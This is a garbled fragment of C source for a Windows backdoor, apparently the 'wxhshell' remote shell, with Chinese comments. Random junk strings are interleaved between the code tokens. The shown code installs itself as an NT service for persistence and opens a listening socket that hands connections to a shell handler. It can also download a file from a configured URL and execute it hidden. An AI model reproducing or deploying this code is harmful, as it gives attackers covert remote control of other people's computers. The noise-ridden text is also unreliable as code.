9'dT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \P}~ICZA 'e7<&wm ia CloseHandle(hProcess); uzho>p[ae BA A)IQF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I#Iu:,OT if(hProcess==NULL) return 0; Z\(+awv m,Q<4' HMODULE hMod; zg)Z2?K|;u char procName[255]; -g;iMqh# unsigned long cbNeeded; 2B=yT8 .9lx@6]+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {\;CGoN| `Kpn@Xg CloseHandle(hProcess); {/XzIOO;b }j+ZF'# if(strstr(procName,"services")) return 1; // 以服务启动 'Xxt[Jy 1W$ @ V! return 0; // 注册表启动 k/j]*~" } yGZb eDX{}Dq( // 主模块 &=<x&4H+ int StartWxhshell(LPSTR lpCmdLine) _+ oX9 { zK k;&y|{ SOCKET wsl; 'F5&f9A BOOL val=TRUE; _?Rprmjx} int port=0; Jq<&`6hn struct sockaddr_in door; _j}|R(s*+V -PBm@}* if(wscfg.ws_autoins) Install(); qg'RD]a> R f lVQG@ port=atoi(lpCmdLine); ou6yi;
l% ]A5FN4 E if(port<=0) port=wscfg.ws_port; s34{\/'D+ x`WP*a7Fk] WSADATA data; 52C>f6w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xb?P'nD BC Jo/m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -3_-n*k! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QO[! door.sin_family = AF_INET; w;&J._J door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ra%RcUf~sh door.sin_port = htons(port); A'c0zWV2 Ha[Bf* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i!*w'[G->Y closesocket(wsl); Uk`ym return 1; X#Y0g`muW } l"W9uS;\T \5_+6 if(listen(wsl,2) == INVALID_SOCKET) { FF0N{bY closesocket(wsl); $k,Z)2 return 1; Xjw>Qws } WJ<nc+/v: Wxhshell(wsl); r?nvJHP WSACleanup(); IX$dDwY|O> n!2"pRIi return 0; }rj.N98 47|Lk]+O } |F=!0Id< b^~ keQ // 以NT服务方式启动 !trt]?*- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %YkJA: { :1^
R$0d DWORD status = 0; b|^g51v DWORD specificError = 0xfffffff; 'Ybd'|t{}
?3D|{ serviceStatus.dwServiceType = SERVICE_WIN32; ;PCnEs serviceStatus.dwCurrentState = SERVICE_START_PENDING; VUpa^R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z#ab
V1
Xi serviceStatus.dwWin32ExitCode = 0; V7[6jWgH serviceStatus.dwServiceSpecificExitCode = 0; m2F2
serviceStatus.dwCheckPoint = 0; n+QUT serviceStatus.dwWaitHint = 0; 2BZYC5jy 9^6E>S{= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G0oY`WXOB if (hServiceStatusHandle==0) return; mk(O..)2 DDxbIkt status = GetLastError(); `%IzW2v6 if (status!=NO_ERROR) BgRfy2: { f4UnLig serviceStatus.dwCurrentState = SERVICE_STOPPED; _0N=~`' serviceStatus.dwCheckPoint = 0; #5)0~4%l serviceStatus.dwWaitHint = 0; sU! h^N$ serviceStatus.dwWin32ExitCode = status; eG&\b-% serviceStatus.dwServiceSpecificExitCode = specificError; B~+3<# B SetServiceStatus(hServiceStatusHandle, &serviceStatus); K2$ fKju return; h1}U#XV } Loz5[L ,;;7+|` serviceStatus.dwCurrentState = SERVICE_RUNNING; \ #<.&`8B serviceStatus.dwCheckPoint = 0; ;iT@41)7 serviceStatus.dwWaitHint = 0; Lzmdy0!' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g)0>J } tfB}U. 5Ku=Xzvq // 处理NT服务事件,比如:启动、停止 ` 9;0Y VOID WINAPI NTServiceHandler(DWORD fdwControl) #b~B
0:U { LGnb"ZN switch(fdwControl) pH&*5=t} { "/e_[_j case SERVICE_CONTROL_STOP: o>|&k]W/ serviceStatus.dwWin32ExitCode = 0; =MR.*m{ serviceStatus.dwCurrentState = SERVICE_STOPPED; WX"iDz. serviceStatus.dwCheckPoint = 0; *vy^=Yea
serviceStatus.dwWaitHint = 0; $Lj~ge3# { Xir ERc.e SetServiceStatus(hServiceStatusHandle, &serviceStatus); k+9*7y8w } Vn&{yCm3 return; jej.!f:H case SERVICE_CONTROL_PAUSE: 8^IV`P~2M serviceStatus.dwCurrentState = SERVICE_PAUSED; 7bV(eV break; 4X-" yQ<U case SERVICE_CONTROL_CONTINUE: mJxr"cwHl serviceStatus.dwCurrentState = SERVICE_RUNNING; ML _$/ break; ^aG$9N<\ case SERVICE_CONTROL_INTERROGATE: V}3'0 break; T`?7z+2A }; su$IXI#R-& SetServiceStatus(hServiceStatusHandle, &serviceStatus); $>JfLSyC } ]& 8c
45c -L-#-dK' // 标准应用程序主函数 p9>{X\eT: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jz,K> { }Q2v~eD 2LfiaHO // 获取操作系统版本 BGd# \2 OsIsNt=GetOsVer(); SFu]*II;{ GetModuleFileName(NULL,ExeFile,MAX_PATH); sX@}4[)<& }SfS\b{|~ // 从命令行安装 _:N= if(strpbrk(lpCmdLine,"iI")) Install(); 8Y]% S9. HVJqDF // 下载执行文件 @T"-%L8PL if(wscfg.ws_downexe) { Z~0TO-Q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {+~ JTrp WinExec(wscfg.ws_filenam,SW_HIDE);
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